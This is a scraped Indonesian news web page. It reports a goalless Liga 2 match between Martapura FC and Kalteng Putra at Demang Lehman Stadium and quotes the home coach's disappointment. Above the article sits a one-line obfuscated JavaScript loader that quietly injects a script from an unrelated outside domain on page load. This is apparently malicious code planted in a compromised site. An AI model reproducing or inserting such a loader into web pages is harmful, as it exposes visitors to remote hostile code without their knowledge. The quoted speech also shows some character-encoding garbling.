(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Berbagi poin dengan skor kacamata menjadi hasil akhir saat Martapura FC menjamu Kalteng Putra di Stadion Demang Lehman Martapura, Sabtu (11/8), pada lanjutan Liga 2 Indonesia Grup Timur, Matchday ke-13.
Kendati tampil dominan di babak pertama, pasukan tuan rumah tak juga bisa merobek jala gawang Kalteng Putra .
Pun saat peluang matang yang didapat lewat tendangan keras bek Rachmat Latif pemain Martapura FC di menit 10 tak berbuah gol. Begitu pula peluang emas dari titik putih pada menit 27 lewat eksekutor Sandi Pratama gagal berbuah gol lantaran masih bisa ditepis kiper Kalteng Putra.
Pelatih Martapura FC Frans Sinatra Huwae sempat melakukan pergantian pemain. Babak pertama baru berjalan 15 menit, Agus Setia wibowo sudah digantikan Resky Fandi Fitriawan untuk mengisi posisi bertahan. Awal babak kedua menit ke-54 ZulfikarAli Mustaqim Ohorella digantikan Muhammad Aidil Bogel sebagai posisi penyerang tak juga berbuah gol. Slot pergantian tiga pemain dihabiskan, pada menit ke-70 Reza Saputra ditarik, Monieaga Bagus Suarwdi mengisi lini tengah pun tak membuahkan gol hingga peluit panjang ditiup, skor kacamata 0-0.
Saat jumpa pers, pelatih Martapura FC Frans Sinatra Huwae mengatakan, memang sangat menyayangkan dan kecewa atas permainan anak asuhnya hanya berkahir imbang tanpa gol..
“Sangat disayangkan sekali di kandang sendiri kita tidak dapat meraih poin penuh, namun itulah permainan, anak-anak sudah berusaha dan berjuang hanya saja kita masih belum beruntung,†ujarnya.
Frans mengatakan dalam pertandingan tersebut seperti di babak kedua faktor ketegangan mendominasi cara bermain anak asuhnya. Banyak yang salah bahkan terburu-buru dan tergera-gesa, sangat kentara terlihat. Dan menurutnya anak asuhnya tersebut terlalu gampang kehilangan bola.
“Banyak permainan yang seharusnya menciptakan gol, namun karena pengen cepat menang, ketenangan berkurang, akhirnya mengambil keputusan terlalu buru-buru,†ujarnya. (rendy)
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
KANALKALIMANTAN.COM, JAKARTA - Direktur Utama PT PLN (Persero) Darmawan Prasodjo kembali dinobatkan sebagai CEO of… Read More
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
This website uses cookies.